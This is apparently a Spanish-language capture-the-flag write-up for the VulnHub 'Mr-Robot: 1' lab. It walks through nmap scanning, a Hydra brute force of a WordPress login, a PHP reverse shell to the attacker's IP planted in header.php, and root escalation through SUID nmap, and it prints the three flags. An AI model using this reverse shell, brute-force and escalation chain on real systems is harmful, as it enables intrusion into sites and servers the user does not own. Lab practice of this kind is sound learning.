# MR-ROBOT: 1

## 1. Búsqueda y descarga

Buscamos la máquina que queramos vulnerar en vunhulb, en este caso la MR-ROBOT: 1. Tiene una particularidad, que en vez de una bandera tiene tres y hay que encontrarlas todas. Tras encontrarla la descargamos y la importamos a la máquina virtual, en este caso estamos usando la máquina virtual VM virtualBox.

Abrimos la máquina virtual y le damos a importar, buscamos donde hemos descargado la máquina virtual y la importamos, esto tardará unos segundos. Tras esto antes de iniciarla es importante que configuremos unos parámetros para que la máquina funcione perfectamente.

- Nos vamos a la configuración de esta máquina al apartado de red, y cambiamos la parte de “Conectado a:” de NAT, a Adaptador puente.
- En esta misma pestaña de red, en el apartado de advanced en la parte de “Modo promiscuo:” pasamos de denegar, a permitir todo.

¿Por qué hemos cambiado el tipo de red? Por que si dejamos NAP, la máquina virtual no sería visible desde la red local, al cambiarla a adaptador puente permite que la máquina obtenga su propia IP para interactuar con esta.

¿Por qué hemos cambiado el modo advanced? Esto se hace ya que si no la máquina no va a procesar paquetes externos, solo procesaría los que sean destinados a su dirección MAC. Esto se hace para que se pueda analizar el tráfico de la red, o simular ataques a la máquina.

Tras haber hecho los pasos anteriores y comprendido el porqué de esos cambios, iniciamos la máquina descargada y configurada.
Posteriormente iniciamos la máquina atacante, es decir, la máquina desde donde vamos a intentar vulnerar nuestra máquina MR-ROBOT: 1. Esta máquina atacante es Kali-lunix, y la iniciamos desde VMware.

## 2. Antes de comenzar

Vamos a dejar nuestro espacio de trabajo lo más limpio posible, así que por si hemos ejecutado algo anterior que puede interferir.

- Nos movemos al directorio escritorio para poder tener accesible todo lo que necesitemos. Esto se hace mediante el comando “cd desktop”
- Tras situarnos en este lugar eliminamos todo lo que podamos haber creado en un intento de vulnerar otra máquina. Esto se hace mediante el comando “rm -r *”

Tras limpiarlo lo idóneo es crear un nuevo directorio con el nombre de la máquina para ir dejando ahí todos los recursos que vayamos a usar. Esto se hace gracias al comando “mkdir MR-ROBOT: 1”. Después de crearlo nos movemos a ese directorio con el comando “cd MR-ROBOT: 1”.

# 3. Primera fase

La primera fase para vulnerar una máquina virtual consiste en ver si la máquina es accesible en nuestra red tras iniciarla ya que a veces puede haber fallos. Esto lo hacemos mediante el comando “arp-scan -I eth0 –localnet”. En este comando hay un detalle importante que es el “eth0”, esto lo ponemos ya que si ejecutamos el comando “ifconfig”, vemos que en la interfaz eth0 está nuestra dirección IP, por eso debemos ejecutar el comando con esa pequeña modificación.

Que puede suceder cuando ejecutemos el comando, que no muestre nada, tras unos intentos lo que nos puede indicar que la máquina a la que queremos atacar no se ha conectado bien, en este caso lo que hay que hacer es reiniciar la máquina, en la barra de opciones selecciona “Máquina” y le aplicamos un reinicio. Si esto no funciona podemos cambiar uno de los parámetros de configuración del principio, en concreto el de advanced, poniendo en vez de permitir en todos, permitir MVs. Para hacer esto hay que apagar la máquina primero. Con esto permitimos únicamente máquinas virtuales para acceder a nuestra máquina que va a ser atacada.

Tras cambiar esto al ejecutar el comando arp-scan mencionado anteriormente veremos cómo aparece la dirección de nuestra máquina. Es importante apuntar esta dirección en algún lado.

Con la dirección de la máquina apuntada ejecutamos el comando “nmap -p- –open -sS -sC -sV –min-rate 5000 -vvv -n -Pn dirección -oN fichero”.

- El parámetro -p: puertos abiertos.
- El parámetro –open: que de verdad estén abiertos.
- El parámetro -sS: Para que el escaneo no sea muy detectable.
- El parámetro -sC: Conjunto de scripts de nmap para que nos busque más información.
- El parámetro -sV: versión de cada entorno de los puertos.
- El parámetro -min-rate: Para que aumente la velocidad.
- El parámetro 5000: Velocidad del min-rate.
- El parámetro -vvv: Se conoce como triple vervose, para que a medida que me encuentre algo me lo reporte.
- El parámetro -n: Que no ejecute resolución DNS para ahorrar tiempo.
- El parámetro -Pn: Para que no haga ping a la hora de buscar información, así evitamos que bloquee trazas icmp.
- El parámetro -oN: Guardar los datos del escaneo en el archivo fichero (se le puede poner otro nombre).

Al obtener el reporte con toda la información de los puertos, en esta máquina vemos como nos salen estos puertos: el 22 con una máquina Ubuntu de protocolo SSH muy actualizada, con lo cual la intrusión dificilmente sera por este puerto, el 80 para http y un puerto 443 para https. Como del resto del reporte no nos otorga gran información lo que hacemos es mediante el buscador, firefox, chrome… ponemos la ip a ver que hay en la web.

Tras entrar a la página web con protocolo http se observa una animación de Mr.Robot, con una pantalla interactiva para introducir comandos, todos estos comandos que te dejan poner no dan paso a ningún efecto. La página con protocolo https, tiene lo mismo y no hay nada relevante que hacer en esta, ninguna de las dos páginas con protocolos dan ningún resultado. Así que probamos a ver su código fuente, sin sacar nada concluyente de este.

Continuamos buscando una vulnerabilidad ejecutando el comando => nmap --script http-enum, esto tardara unos minutos, al finalizar nos arrojará una lista de subdirectorios en funcionamiento asociados al sitio web alojado en el destino. Esto nos muestra que la página web está hecha con el CMS de wordpress lo que nos da una pista, y tras unos intentos de probar urls inventadas consigo dar con la buena, https://192.168.115.4/wp-login.php , tambien observando lo que nos arroja el comando vemos como en la dirección con /robots.txt al final obtenemos unas pista, la primera nos dice que poniendo al final de la url key-1of-3.txt, obtenemos la primera flag de las tres que tiene esta maquina. esta es “073403c8a58a1f80d943455fb30724b9”, la segunda nos empieza a descargar un archivo “fsocity.dic” de una lista de palabras con muchas líneas, lo guardamos para su futuro uso.

Con la herramienta de Hydra podemos forzar el nombre de usuario y la contraseña, para esto usamos el archivo “fsocity.dic” para probar con todas las palabras que tiene. Nos fijamos en el código fuente de la página web y vemos que en la pagina de wp-login el campo para el nombre de usuario es “log” y el campo para poner la contraseña es “pwd”, y la respuesta que dan si falla es “Invalid”. Ejecutamos el comando =>

- “hydra -t 64 -L ./fsocity.dic” -p test 192.168.115.4 http-form-post “/wp-login.php:log=^USER^&PWD=^PASS^:Invalid”.

Esto tardará unas 5 horas, si no tuviéramos la suerte que el nombre de usuario correcto se encuentra en las primeras 200 palabras, y la password también la encuentra rápido. Este usuario es Eliot, y su password es ER28-0652.

Usando este nombre y esta contraseña conseguimos entrar a la página de wp-admin. Revisando un poco sacamos que las credenciales obtenidas con de administrador, pero no hay nada relevante en la página que nos ayude, aun así hemos obtenido la capacidad para modificar la página web.

Con esta nueva habilidad para modificar la página, usamos el shell reverse, que es una forma de ataque que se induce al sistema para que nos envíe la shell de alguien cuando se conecte. Para ello en buscamos una nueva parte de una página en Wordpress, por ejemplo la cabecera, “header.php”, y en ella introducimos el siguiente código =>

```
<?php
exec(“/bin/bash -c ‘bash -i >& /dev/tcp/192.168.115.5/443 0>&1’”);
?>
```

Tras tener eso puesto en la página de wordpress lo guardamos y vamos a la terminal para introducir el comando nc -lvp 443, lo hacemos por este puerto ya que primero es el que salía al hacer el escaneo al principio, y segundo es el puerto que hemos introducido de escucha en el código de header. Tras esto intentamos acceder a cualquier página de esa dirección, da igual que no sea válida, y esto nos devuelve inmediatamente el acceso en la máquina con el usuario “daemon”.

Navegando un poco por la máquina te das cuenta que en el directorio home hay dos archivos uno que es del usuario robots, y el segundo es una clave hash para poder navegar como el usuario robots, también hay la segunda flag que está en el archivo “key-2-of-3.txt”, esta solo se puede abrir con las credenciales robots. Así que copiamos el hash y lo pasamos por cualquier herramienta, en este caso he usado “https://md5.gromweb.com/”, la cual hace que el hash sea válido, es decir desencripta el hash.

Para poder entrar a la maquina como robots tenemos que generar una sesion tty, para ello usamos el comando => python -c ‘import pty; pty.spawn(“/bin/sh”), esto nos permite identifarnos con el user “robot” y su contraseña “abcdefghijklmnopqrstuvwxyz”. Con esto ya podemos acceder al archivo con la segunda flag que es “822c73956184f694993bede3eb39f959.

Tras obtener acceso con un usuario básico a la máquina buscamos la escalada de privilegios para convertirnos en el usuario root, para ello vemos que bits tiene SUID activados con el comando => find / -perm 4000 2>/dev/null, esto nos arroja los archivos que tengan permiso SUID. Nos damos cuenta que nmap tiene una versión interactiva así que ejecutamos el comando => nmap –interactive, y entramos al nmap interactivo una vez dentro ejecutamos !sh y entramos como el usuario root. Una vez dentro de este usuario buscamos con el comando => find / -iname key-3-* para buscar todos los archivos que empiezen por ese nombre siguiendo la lógica de los otros dos anteriores, lo encontramos con la última flag “04787ddef27c3dee1ee161b21670b4e4”.